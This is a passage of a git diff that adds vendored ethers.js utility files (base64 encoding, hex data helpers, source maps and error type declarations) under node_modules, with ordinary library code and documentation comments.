decodeBase64("SGVsbG8gV29ybGQhIQ==") + * //_result: + * + * // ...use toUtf8String to convert it to a string. + * toUtf8String(result) + * //_result: + * + * // Decoding binary data + * decodeBase64("EjQ=") + * //_result: + */ +export declare function decodeBase64(value: string): Uint8Array; +/** + * Encodes %%data%% as a base-64 encoded string. + * + * @example: + * // Encoding binary data as a hexstring + * encodeBase64("0x1234") + * //_result: + * + * // Encoding binary data as a Uint8Array + * encodeBase64(new Uint8Array([ 0x12, 0x34 ])) + * //_result: + * + * // The input MUST be data... + * encodeBase64("Hello World!!") + * //_error: + * + * // ...use toUtf8Bytes for this. + * encodeBase64(toUtf8Bytes("Hello World!!")) + * //_result: + */ +export declare function encodeBase64(data: BytesLike): string; +//# sourceMappingURL=base64.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base64.d.ts.map b/node_modules/ethers/lib.commonjs/utils/base64.d.ts.map new file mode 100644 index 000000000000..90ad51c1d0fb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base64.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"base64.d.ts","sourceRoot":"","sources":["../../src.ts/utils/base64.ts"],"names":[],"mappings":"AAUA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AAG3C;;;;;;;;;;;;;;;GAeG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE,MAAM,GAAG,UAAU,CAEtD;AAED;;;;;;;;;;;;;;;;;;;GAmBG;AACH,wBAAgB,YAAY,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM,CAEpD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base64.js b/node_modules/ethers/lib.commonjs/utils/base64.js new file mode 100644 index 000000000000..bdef6a382c00 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base64.js @@ -0,0 +1,58 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeBase64 = exports.decodeBase64 = void 0; +/** + * [Base64 encoding](link-wiki-base64) using 6-bit words to encode + * arbitrary bytes into a string using 65 printable symbols, the + * upper-case and lower-case alphabet, the digits ``0`` through ``9``, + * ``"+"`` and ``"/"`` with the ``"="`` used for padding. + * + * @_subsection: api/utils:Base64 Encoding [about-base64] + */ +const data_js_1 = require("./data.js"); +/** + * Decodes the base-64 encoded %%value%%. + * + * @example: + * // The decoded value is always binary data... + * result = decodeBase64("SGVsbG8gV29ybGQhIQ==") + * //_result: + * + * // ...use toUtf8String to convert it to a string. + * toUtf8String(result) + * //_result: + * + * // Decoding binary data + * decodeBase64("EjQ=") + * //_result: + */ +function decodeBase64(value) { + return (0, data_js_1.getBytesCopy)(Buffer.from(value, "base64")); +} +exports.decodeBase64 = decodeBase64; +; +/** + * Encodes %%data%% as a base-64 encoded string. + * + * @example: + * // Encoding binary data as a hexstring + * encodeBase64("0x1234") + * //_result: + * + * // Encoding binary data as a Uint8Array + * encodeBase64(new Uint8Array([ 0x12, 0x34 ])) + * //_result: + * + * // The input MUST be data... + * encodeBase64("Hello World!!") + * //_error: + * + * // ...use toUtf8Bytes for this. + * encodeBase64(toUtf8Bytes("Hello World!!")) + * //_result: + */ +function encodeBase64(data) { + return Buffer.from((0, data_js_1.getBytes)(data)).toString("base64"); +} +exports.encodeBase64 = encodeBase64; +//# sourceMappingURL=base64.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base64.js.map b/node_modules/ethers/lib.commonjs/utils/base64.js.map new file mode 100644 index 000000000000..b41970635379 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base64.js.map @@ -0,0 +1 @@ +{"version":3,"file":"base64.js","sourceRoot":"","sources":["../../src.ts/utils/base64.ts"],"names":[],"mappings":";;;AAAA;;;;;;;GAOG;AACH,uCAAmD;AAKnD;;;;;;;;;;;;;;;GAeG;AACH,SAAgB,YAAY,CAAC,KAAa;IACtC,OAAO,IAAA,sBAAY,EAAC,MAAM,CAAC,IAAI,CAAC,KAAK,EAAE,QAAQ,CAAC,CAAC,CAAC;AACtD,CAAC;AAFD,oCAEC;AAAA,CAAC;AAEF;;;;;;;;;;;;;;;;;;;GAmBG;AACH,SAAgB,YAAY,CAAC,IAAe;IACxC,OAAO,MAAM,CAAC,IAAI,CAAC,IAAA,kBAAQ,EAAC,IAAI,CAAC,CAAC,CAAC,QAAQ,CAAC,QAAQ,CAAC,CAAC;AAC1D,CAAC;AAFD,oCAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/data.d.ts b/node_modules/ethers/lib.commonjs/utils/data.d.ts new file mode 100644 index 000000000000..59f4fc0ed487 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/data.d.ts @@ -0,0 +1,93 @@ +/** + * A [[HexString]] whose length is even, which ensures it is a valid + * representation of binary data. + */ +export type DataHexString = string; +/** + * A string which is prefixed with ``0x`` and followed by any number + * of case-agnostic hexadecimal characters. + * + * It must match the regular expression ``/0x[0-9A-Fa-f]*\/``. + */ +export type HexString = string; +/** + * An object that can be used to represent binary data. + */ +export type BytesLike = DataHexString | Uint8Array; +/** + * Get a typed Uint8Array for %%value%%. If already a Uint8Array + * the original %%value%% is returned; if a copy is required use + * [[getBytesCopy]]. + * + * @see: getBytesCopy + */ +export declare function getBytes(value: BytesLike, name?: string): Uint8Array; +/** + * Get a typed Uint8Array for %%value%%, creating a copy if necessary + * to prevent any modifications of the returned value from being + * reflected elsewhere. + * + * @see: getBytes + */ +export declare function getBytesCopy(value: BytesLike, name?: string): Uint8Array; +/** + * Returns true if %%value%% is a valid [[HexString]]. + * + * If %%length%% is ``true`` or a //number//, it also checks that + * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//) + * bytes of data (e.g. ``0x1234`` is 2 bytes). + */ +export declare function isHexString(value: any, length?: number | boolean): value is `0x${string}`; +/** + * Returns true if %%value%% is a valid representation of arbitrary + * data (i.e. a valid [[DataHexString]] or a Uint8Array). + */ +export declare function isBytesLike(value: any): value is BytesLike; +/** + * Returns a [[DataHexString]] representation of %%data%%. + */ +export declare function hexlify(data: BytesLike): string; +/** + * Returns a [[DataHexString]] by concatenating all values + * within %%data%%. + */ +export declare function concat(datas: ReadonlyArray): string; +/** + * Returns the length of %%data%%, in bytes. + */ +export declare function dataLength(data: BytesLike): number; +/** + * Returns a [[DataHexString]] by slicing %%data%% from the %%start%% + * offset to the %%end%% offset. + * + * By default %%start%% is 0 and %%end%% is the length of %%data%%. + */ +export declare function dataSlice(data: BytesLike, start?: number, end?: number): string; +/** + * Return the [[DataHexString]] result by stripping all **leading** + ** zero bytes from %%data%%. + */ +export declare function stripZerosLeft(data: BytesLike): string; +/** + * Return the [[DataHexString]] of %%data%% padded on the **left** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **values** are in Solidity + * (e.g. ``uint128``). + */ +export declare function zeroPadValue(data: BytesLike, length: number): string; +/** + * Return the [[DataHexString]] of %%data%% padded on the **right** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **bytes** are in Solidity + * (e.g. ``bytes16``). + */ +export declare function zeroPadBytes(data: BytesLike, length: number): string; +//# sourceMappingURL=data.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/data.d.ts.map b/node_modules/ethers/lib.commonjs/utils/data.d.ts.map new file mode 100644 index 000000000000..b488d824d620 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/data.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"data.d.ts","sourceRoot":"","sources":["../../src.ts/utils/data.ts"],"names":[],"mappings":"AAQA;;;GAGG;AACH,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC;AAEnC;;;;;GAKG;AACH,MAAM,MAAM,SAAS,GAAG,MAAM,CAAC;AAE/B;;GAEG;AACH,MAAM,MAAM,SAAS,GAAG,aAAa,GAAG,UAAU,CAAC;AAqBnD;;;;;;GAMG;AACH,wBAAgB,QAAQ,CAAC,KAAK,EAAE,SAAS,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,UAAU,CAEpE;AAED;;;;;;GAMG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE,SAAS,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,UAAU,CAExE;AAGD;;;;;;GAMG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,GAAG,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,OAAO,GAAG,KAAK,IAAI,KAAM,MAAO,EAAE,CAS3F;AAED;;;GAGG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,SAAS,CAE1D;AAID;;GAEG;AACH,wBAAgB,OAAO,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM,CAS/C;AAED;;;GAGG;AACH,wBAAgB,MAAM,CAAC,KAAK,EAAE,aAAa,CAAC,SAAS,CAAC,GAAG,MAAM,CAE9D;AAED;;GAEG;AACH,wBAAgB,UAAU,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM,CAGlD;AAED;;;;;GAKG;AACH,wBAAgB,SAAS,CAAC,IAAI,EAAE,SAAS,EAAE,KAAK,CAAC,EAAE,MAAM,EAAE,GAAG,CAAC,EAAE,MAAM,GAAG,MAAM,CAQ/E;AAED;;;GAGG;AACH,wBAAgB,cAAc,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM,CAItD;AAqBD;;;;;;;;;GASG;AACH,wBAAgB,YAAY,CAAC,IAAI,EAAE,SAAS,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAEpE;AAED;;;;;;;;;GASG;AACH,wBAAgB,YAAY,CAAC,IAAI,EAAE,SAAS,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAEpE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/data.js b/node_modules/ethers/lib.commonjs/utils/data.js new file mode 100644 index 000000000000..7cc7f4352bc4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/data.js @@ -0,0 +1,184 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.zeroPadBytes = exports.zeroPadValue = exports.stripZerosLeft = exports.dataSlice = exports.dataLength = exports.concat = exports.hexlify = exports.isBytesLike = exports.isHexString = exports.getBytesCopy = exports.getBytes = void 0; +/** + * Some data helpers. + * + * + * @_subsection api/utils:Data Helpers [about-data] + */ +const errors_js_1 = require("./errors.js"); +function _getBytes(value, name, copy) { + if (value instanceof Uint8Array) { + if (copy) { + return new Uint8Array(value); + } + return value; + } + if (typeof (value) === "string" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) { + const result = new Uint8Array((value.length - 2) / 2); + let offset = 2; + for (let i = 0; i < result.length; i++) { + result[i] = parseInt(value.substring(offset, offset + 2), 16); + offset += 2; + } + return result; + } + (0, errors_js_1.assertArgument)(false, "invalid BytesLike value", name || "value", value); +} +/** + * Get a typed Uint8Array for %%value%%. If already a Uint8Array + * the original %%value%% is returned; if a copy is required use + * [[getBytesCopy]]. + * + * @see: getBytesCopy + */ +function getBytes(value, name) { + return _getBytes(value, name, false); +} +exports.getBytes = getBytes; +/** + * Get a typed Uint8Array for %%value%%, creating a copy if necessary + * to prevent any modifications of the returned value from being + * reflected elsewhere. + * + * @see: getBytes + */ +function getBytesCopy(value, name) { + return _getBytes(value, name, true); +} +exports.getBytesCopy = getBytesCopy; +/** + * Returns true if %%value%% is a valid [[HexString]]. + * + * If %%length%% is ``true`` or a //number//, it also checks that + * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//) + * bytes of data (e.g. ``0x1234`` is 2 bytes). + */ +function isHexString(value, length) { + if (typeof (value) !== "string" || !value.match(/^0x[0-9A-Fa-f]*$/)) { + return false; + } + if (typeof (length) === "number" && value.length !== 2 + 2 * length) { + return false; + } + if (length === true && (value.length % 2) !== 0) { + return false; + } + return true; +} +exports.isHexString = isHexString; +/** + * Returns true if %%value%% is a valid representation of arbitrary + * data (i.e. a valid [[DataHexString]] or a Uint8Array). + */ +function isBytesLike(value) { + return (isHexString(value, true) || (value instanceof Uint8Array)); +} +exports.isBytesLike = isBytesLike; +const HexCharacters = "0123456789abcdef"; +/** + * Returns a [[DataHexString]] representation of %%data%%. + */ +function hexlify(data) { + const bytes = getBytes(data); + let result = "0x"; + for (let i = 0; i < bytes.length; i++) { + const v = bytes[i]; + result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f]; + } + return result; +} +exports.hexlify = hexlify; +/** + * Returns a [[DataHexString]] by concatenating all values + * within %%data%%. + */ +function concat(datas) { + return "0x" + datas.map((d) => hexlify(d).substring(2)).join(""); +} +exports.concat = concat; +/** + * Returns the length of %%data%%, in bytes. + */ +function dataLength(data) { + if (isHexString(data, true)) { + return (data.length - 2) / 2; + } + return getBytes(data).length; +} +exports.dataLength = dataLength; +/** + * Returns a [[DataHexString]] by slicing %%data%% from the %%start%% + * offset to the %%end%% offset. + * + * By default %%start%% is 0 and %%end%% is the length of %%data%%. + */ +function dataSlice(data, start, end) { + const bytes = getBytes(data); + if (end != null && end > bytes.length) { + (0, errors_js_1.assert)(false, "cannot slice beyond data bounds", "BUFFER_OVERRUN", { + buffer: bytes, length: bytes.length, offset: end + }); + } + return hexlify(bytes.slice((start == null) ? 0 : start, (end == null) ? bytes.length : end)); +} +exports.dataSlice = dataSlice; +/** + * Return the [[DataHexString]] result by stripping all **leading** + ** zero bytes from %%data%%. + */ +function stripZerosLeft(data) { + let bytes = hexlify(data).substring(2); + while (bytes.startsWith("00")) { + bytes = bytes.substring(2); + } + return "0x" + bytes; +} +exports.stripZerosLeft = stripZerosLeft; +function zeroPad(data, length, left) { + const bytes = getBytes(data); + (0, errors_js_1.assert)(length >= bytes.length, "padding exceeds data length", "BUFFER_OVERRUN", { + buffer: new Uint8Array(bytes), + length: length, + offset: length + 1 + }); + const result = new Uint8Array(length); + result.fill(0); + if (left) { + result.set(bytes, length - bytes.length); + } + else { + result.set(bytes, 0); + } + return hexlify(result); +} +/** + * Return the [[DataHexString]] of %%data%% padded on the **left** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **values** are in Solidity + * (e.g. ``uint128``). + */ +function zeroPadValue(data, length) { + return zeroPad(data, length, true); +} +exports.zeroPadValue = zeroPadValue; +/** + * Return the [[DataHexString]] of %%data%% padded on the **right** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **bytes** are in Solidity + * (e.g. ``bytes16``). + */ +function zeroPadBytes(data, length) { + return zeroPad(data, length, false); +} +exports.zeroPadBytes = zeroPadBytes; +//# sourceMappingURL=data.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/data.js.map b/node_modules/ethers/lib.commonjs/utils/data.js.map new file mode 100644 index 000000000000..0fe1f37efa69 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/data.js.map @@ -0,0 +1 @@ +{"version":3,"file":"data.js","sourceRoot":"","sources":["../../src.ts/utils/data.ts"],"names":[],"mappings":";;;AAAA;;;;;GAKG;AACH,2CAAqD;AAqBrD,SAAS,SAAS,CAAC,KAAgB,EAAE,IAAa,EAAE,IAAc;IAC9D,IAAI,KAAK,YAAY,UAAU,EAAE;QAC7B,IAAI,IAAI,EAAE;YAAE,OAAO,IAAI,UAAU,CAAC,KAAK,CAAC,CAAC;SAAE;QAC3C,OAAO,KAAK,CAAC;KAChB;IAED,IAAI,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,IAAI,KAAK,CAAC,KAAK,CAAC,4BAA4B,CAAC,EAAE;QACzE,MAAM,MAAM,GAAG,IAAI,UAAU,CAAC,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;QACtD,IAAI,MAAM,GAAG,CAAC,CAAC;QACf,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;YACpC,MAAM,CAAC,CAAC,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,SAAS,CAAC,MAAM,EAAE,MAAM,GAAG,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;YAC9D,MAAM,IAAI,CAAC,CAAC;SACf;QACD,OAAO,MAAM,CAAC;KACjB;IAED,IAAA,0BAAc,EAAC,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AC;AAED;;;;;;;;;GASG;AACH,SAAgB,YAAY,CAAC,IAAe,EAAE,MAAc;IACxD,OAAO,OAAO,CAAC,IAAI,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;AACvC,CAAC;AAFD,oCAEC;AAED;;;;;;;;;GASG;AACH,SAAgB,YAAY,CAAC,IAAe,EAAE,MAAc;IACxD,OAAO,OAAO,CAAC,IAAI,EAAE,MAAM,EAAE,KAAK,CAAC,CAAC;AACxC,CAAC;AAFD,oCAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/errors.d.ts b/node_modules/ethers/lib.commonjs/utils/errors.d.ts new file mode 100644 index 000000000000..a7bab0d6255b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/errors.d.ts @@ -0,0 +1,512 @@ +/** + * All errors in ethers include properties to ensure they are both + * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``). + * + * The [[isError]] function can be used to check the error ``code`` and + * provide a type guard for the properties present on that error interface. + * + * @_section: api/utils/errors:Errors [about-errors] + */ +import type { TransactionRequest, TransactionReceipt, TransactionResponse } from "../providers/index.js"; +import type { FetchRequest, FetchResponse } from "./fetch.js"; +/** + * An error may contain additional properties, but those must not + * conflict with any implicit properties. + */ +export type ErrorInfo = Omit & { + shortMessage?: string; +}; +/** + * All errors emitted by ethers have an **ErrorCode** to help + * identify and coalesce errors to simplify programmatic analysis. + * + * Each **ErrorCode** is the %%code%% proerty of a coresponding + * [[EthersError]]. + * + * **Generic Errors** + * + * **``"UNKNOWN_ERROR"``** - see [[UnknownError]] + * + * **``"NOT_IMPLEMENTED"``** - see [[NotImplementedError]] + * + * **``"UNSUPPORTED_OPERATION"``** - see [[UnsupportedOperationError]] + * + * **``"NETWORK_ERROR"``** - see [[NetworkError]] + * + * **``"SERVER_ERROR"``** - see [[ServerError]] + * + * **``"TIMEOUT"``** - see [[TimeoutError]] + * + * **``"BAD_DATA"``** - see [[BadDataError]] + * + * **``"CANCELLED"``** - see [[CancelledError]] + * + * **Operational Errors** + * + * **``"BUFFER_OVERRUN"``** - see [[BufferOverrunError]] + * + * **``"NUMERIC_FAULT"``** - see [[NumericFaultError]] + * + * **Argument Errors** + * + * **``"INVALID_ARGUMENT"``** - see [[InvalidArgumentError]] + * + * **``"MISSING_ARGUMENT"``** - see [[MissingArgumentError]] + * + * **``"UNEXPECTED_ARGUMENT"``** - see [[UnexpectedArgumentError]] + * + * **``"VALUE_MISMATCH"``** - //unused// + * + * **Blockchain Errors** + * + * **``"CALL_EXCEPTION"``** - see [[CallExceptionError]] + * + * **``"INSUFFICIENT_FUNDS"``** - see [[InsufficientFundsError]] + * + * **``"NONCE_EXPIRED"``** - see [[NonceExpiredError]] + * + * **``"REPLACEMENT_UNDERPRICED"``** - see [[ReplacementUnderpricedError]] + * + * **``"TRANSACTION_REPLACED"``** - see [[TransactionReplacedError]] + * + * **``"UNCONFIGURED_NAME"``** - see [[UnconfiguredNameError]] + * + * **``"OFFCHAIN_FAULT"``** - see [[OffchainFaultError]] + * + * **User Interaction Errors** + * + * **``"ACTION_REJECTED"``** - see [[ActionRejectedError]] + */ +export type ErrorCode = "UNKNOWN_ERROR" | "NOT_IMPLEMENTED" | "UNSUPPORTED_OPERATION" | "NETWORK_ERROR" | "SERVER_ERROR" | "TIMEOUT" | "BAD_DATA" | "CANCELLED" | "BUFFER_OVERRUN" | "NUMERIC_FAULT" | "INVALID_ARGUMENT" | "MISSING_ARGUMENT" | "UNEXPECTED_ARGUMENT" | "VALUE_MISMATCH" | "CALL_EXCEPTION" | "INSUFFICIENT_FUNDS" | "NONCE_EXPIRED" | "REPLACEMENT_UNDERPRICED" | "TRANSACTION_REPLACED" | "UNCONFIGURED_NAME" | "OFFCHAIN_FAULT" | "ACTION_REJECTED"; +/** + * All errors in Ethers include properties to assist in + * machine-readable errors. + */ +export interface EthersError extends Error { + /** + * The string error code. + */ + code: ErrorCode; + /** + * A short message describing the error, with minimal additional + * details. + */ + shortMessage: string; + /** + * Additional info regarding the error that may be useful. + * + * This is generally helpful mostly for human-based debugging. + */ + info?: Record; + /** + * Any related error. + */ + error?: Error; +} +/** + * This Error is a catch-all for when there is no way for Ethers to + * know what the underlying problem is. + */ +export interface UnknownError extends EthersError<"UNKNOWN_ERROR"> { + [key: string]: any; +} +/** + * This Error is mostly used as a stub for functionality that is + * intended for the future, but is currently not implemented. + */ +export interface NotImplementedError extends EthersError<"NOT_IMPLEMENTED"> { + /** + * The attempted operation. + */ + operation: string; +} +/** + * This Error indicates that the attempted operation is not supported. + * + * This could range from a specific JSON-RPC end-point not supporting + * a feature to a specific configuration of an object prohibiting the + * operation. + * + * For example, a [[Wallet]] with no connected [[Provider]] is unable + * to send a transaction. + */ +export interface UnsupportedOperationError extends EthersError<"UNSUPPORTED_OPERATION"> { + /** + * The attempted operation. + */ + operation: string; +} +/** + * This Error indicates a problem connecting to a network. + */ +export interface NetworkError extends EthersError<"NETWORK_ERROR"> { + /** + * The network event. + */ + event: string; +} +/** + * This Error indicates there was a problem fetching a resource from + * a server. + */ +export interface ServerError extends EthersError<"SERVER_ERROR"> { + /** + * The requested resource. + */ + request: FetchRequest | string; + /** + * The response received from the server, if available. + */ + response?: FetchResponse; +} +/** + * This Error indicates that the timeout duration has expired and + * that the operation has been implicitly cancelled. + * + * The side-effect of the operation may still occur, as this + * generally means a request has been sent and there has simply + * been no response to indicate whether it was processed or not. + */ +export interface TimeoutError extends EthersError<"TIMEOUT"> { + /** + * The attempted operation. + */ + operation: string; + /** + * The reason. + */ + reason: string; + /** + * The resource request, if available. + */ + request?: FetchRequest; +} +/** + * This Error indicates that a provided set of data cannot + * be correctly interpreted. + */ +export interface BadDataError extends EthersError<"BAD_DATA"> { + /** + * The data. + */ + value: any; +} +/** + * This Error indicates that the operation was cancelled by a + * programmatic call, for example to ``cancel()``. + */ +export interface CancelledError extends EthersError<"CANCELLED"> { +} +/** + * This Error indicates an attempt was made to read outside the bounds + * of protected data. + * + * Most operations in Ethers are protected by bounds checks, to mitigate + * exploits when parsing data. + */ +export interface BufferOverrunError extends EthersError<"BUFFER_OVERRUN"> { + /** + * The buffer that was overrun. + */ + buffer: Uint8Array; + /** + * The length of the buffer. + */ + length: number; + /** + * The offset that was requested. + */ + offset: number; +} +/** + * This Error indicates an operation which would result in incorrect + * arithmetic output has occurred. + * + * For example, trying to divide by zero or using a ``uint8`` to store + * a negative value. + */ +export interface NumericFaultError extends EthersError<"NUMERIC_FAULT"> { + /** + * The attempted operation. + */ + operation: string; + /** + * The fault reported. + */ + fault: string; + /** + * The value the operation was attempted against. + */ + value: any; +} +/** + * This Error indicates an incorrect type or value was passed to + * a function or method. + */ +export interface InvalidArgumentError extends EthersError<"INVALID_ARGUMENT"> { + /** + * The name of the argument. + */ + argument: string; + /** + * The value that was provided. + */ + value: any; + info?: Record; +} +/** + * This Error indicates there were too few arguments were provided. + */ +export interface MissingArgumentError extends EthersError<"MISSING_ARGUMENT"> { + /** + * The number of arguments received. + */ + count: number; + /** + * The number of arguments expected. + */ + expectedCount: number; +} +/** + * This Error indicates too many arguments were provided. + */ +export interface UnexpectedArgumentError extends EthersError<"UNEXPECTED_ARGUMENT"> { + /** + * The number of arguments received. + */ + count: number; + /** + * The number of arguments expected. + */ + expectedCount: number; +} +/** + * The action that resulted in the call exception. + */ +export type CallExceptionAction = "call" | "estimateGas" | "getTransactionResult" | "sendTransaction" | "unknown"; +/** + * The related transaction that caused the error. + */ +export type CallExceptionTransaction = { + to: null | string; + from?: string; + data: string; +}; +/** + * This **Error** indicates a transaction reverted. + */ +export interface CallExceptionError extends EthersError<"CALL_EXCEPTION"> { + /** + * The action being performed when the revert was encountered. + */ + action: CallExceptionAction; + /** + * The revert data returned. + */ + data: null | string; + /** + * A human-readable representation of data, if possible. + */ + reason: null | string; + /** + * The transaction that triggered the exception. + */ + transaction: CallExceptionTransaction; + /** + * The contract invocation details, if available. + */ + invocation: null | { + method: string; + signature: string; + args: Array; + }; + /** + * The built-in or custom revert error, if available + */ + revert: null | { + signature: string; + name: string; + args: Array; + }; + /** + * If the error occurred in a transaction that was mined + * (with a status of ``0``), this is the receipt. + */ + receipt?: TransactionReceipt; +} +/** + * The sending account has insufficient funds to cover the + * entire transaction cost. + */ +export interface InsufficientFundsError extends EthersError<"INSUFFICIENT_FUNDS"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} +/** + * The sending account has already used this nonce in a + * transaction that has been included. + */ +export interface NonceExpiredError extends EthersError<"NONCE_EXPIRED"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} +/** + * A CCIP-read exception, which cannot be recovered from or + * be further processed. + */ +export interface OffchainFaultError extends EthersError<"OFFCHAIN_FAULT"> { + /** + * The transaction. + */ + transaction?: TransactionRequest; + /** + * The reason the CCIP-read failed. + */ + reason: string; +} +/** + * An attempt was made to replace a transaction, but with an + * insufficient additional fee to afford evicting the old + * transaction from the memory pool. + */ +export interface ReplacementUnderpricedError extends EthersError<"REPLACEMENT_UNDERPRICED"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} +/** + * A pending transaction was replaced by another. + */ +export interface TransactionReplacedError extends EthersError<"TRANSACTION_REPLACED"> { + /** + * If the transaction was cancelled, such that the original + * effects of the transaction cannot be assured. + */ + cancelled: boolean; + /** + * The reason the transaction was replaced. + */ + reason: "repriced" | "cancelled" | "replaced"; + /** + * The hash of the replaced transaction. + */ + hash: string; + /** + * The transaction that replaced the transaction. + */ + replacement: TransactionResponse; + /** + * The receipt of the transaction that replace the transaction. + */ + receipt: TransactionReceipt; +} +/** + * This Error indicates an ENS name was used, but the name has not + * been configured. + * + * This could indicate an ENS name is unowned or that the current + * address being pointed to is the [[ZeroAddress]]. + */ +export interface UnconfiguredNameError extends EthersError<"UNCONFIGURED_NAME"> { + /** + * The ENS name that was requested + */ + value: string; +} +/** + * This Error indicates a request was rejected by the user. + * + * In most clients (such as MetaMask), when an operation requires user + * authorization (such as ``signer.sendTransaction``), the client + * presents a dialog box to the user. If the user denies the request + * this error is thrown. + */ +export interface ActionRejectedError extends EthersError<"ACTION_REJECTED"> { + /** + * The requested action. + */ + action: "requestAccess" | "sendTransaction" | "signMessage" | "signTransaction" | "signTypedData" | "unknown"; + /** + * The reason the action was rejected. + * + * If there is already a pending request, some clients may indicate + * there is already a ``"pending"`` action. This prevents an app + * from spamming the user. + */ + reason: "expired" | "rejected" | "pending"; +} +/** + * A conditional type that transforms the [[ErrorCode]] T into + * its EthersError type. + * + * @flatworm-skip-docs + */ +export type CodedEthersError = T extends "UNKNOWN_ERROR" ? UnknownError : T extends "NOT_IMPLEMENTED" ? NotImplementedError : T extends "UNSUPPORTED_OPERATION" ? UnsupportedOperationError : T extends "NETWORK_ERROR" ? NetworkError : T extends "SERVER_ERROR" ? ServerError : T extends "TIMEOUT" ? TimeoutError : T extends "BAD_DATA" ? BadDataError : T extends "CANCELLED" ? CancelledError : T extends "BUFFER_OVERRUN" ? BufferOverrunError : T extends "NUMERIC_FAULT" ? NumericFaultError : T extends "INVALID_ARGUMENT" ? InvalidArgumentError : T extends "MISSING_ARGUMENT" ? MissingArgumentError : T extends "UNEXPECTED_ARGUMENT" ? UnexpectedArgumentError : T extends "CALL_EXCEPTION" ? CallExceptionError : T extends "INSUFFICIENT_FUNDS" ? InsufficientFundsError : T extends "NONCE_EXPIRED" ? NonceExpiredError : T extends "OFFCHAIN_FAULT" ? OffchainFaultError : T extends "REPLACEMENT_UNDERPRICED" ? ReplacementUnderpricedError : T extends "TRANSACTION_REPLACED" ? TransactionReplacedError : T extends "UNCONFIGURED_NAME" ? UnconfiguredNameError : T extends "ACTION_REJECTED" ? ActionRejectedError : never; +/** + * Returns true if the %%error%% matches an error thrown by ethers + * that matches the error %%code%%. + * + * In TypeScript environments, this can be used to check that %%error%% + * matches an EthersError type, which means the expected properties will + * be set. + * + * @See [ErrorCodes](api:ErrorCode) + * @example + * try { + * // code.... + * } catch (e) { + * if (isError(e, "CALL_EXCEPTION")) { + * // The Type Guard has validated this object + * console.log(e.data); + * } + * } + */ +export declare function isError>(error: any, code: K): error is T; +/** + * Returns true if %%error%% is a [[CallExceptionError]. + */ +export declare function isCallException(error: any): error is CallExceptionError; +/** + * Returns a new Error configured to the format ethers emits errors, with + * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties + * for the corresponding EthersError. + * + * Each error in ethers includes the version of ethers, a + * machine-readable [[ErrorCode]], and depending on %%code%%, additional + * required properties. The error message will also include the %%message%%, + * ethers version, %%code%% and all additional properties, serialized. + */ +export declare function makeError>(message: string, code: K, info?: ErrorInfo): T; +/** + * Throws an EthersError with %%message%%, %%code%% and additional error + * %%info%% when %%check%% is falsish.. + * + * @see [[api:makeError]] + */ +export declare function assert>(check: unknown, message: string, code: K, info?: ErrorInfo): asserts check; +/** + * A simple helper to simply ensuring provided arguments match expected + * constraints, throwing if not. + * + * In TypeScript environments, the %%check%% has been asserted true, so + * any further code does not need additional compile-time checks. + */ +export declare function assertArgument(check: unknown, message: string, name: string, value: unknown): asserts check; +export declare function 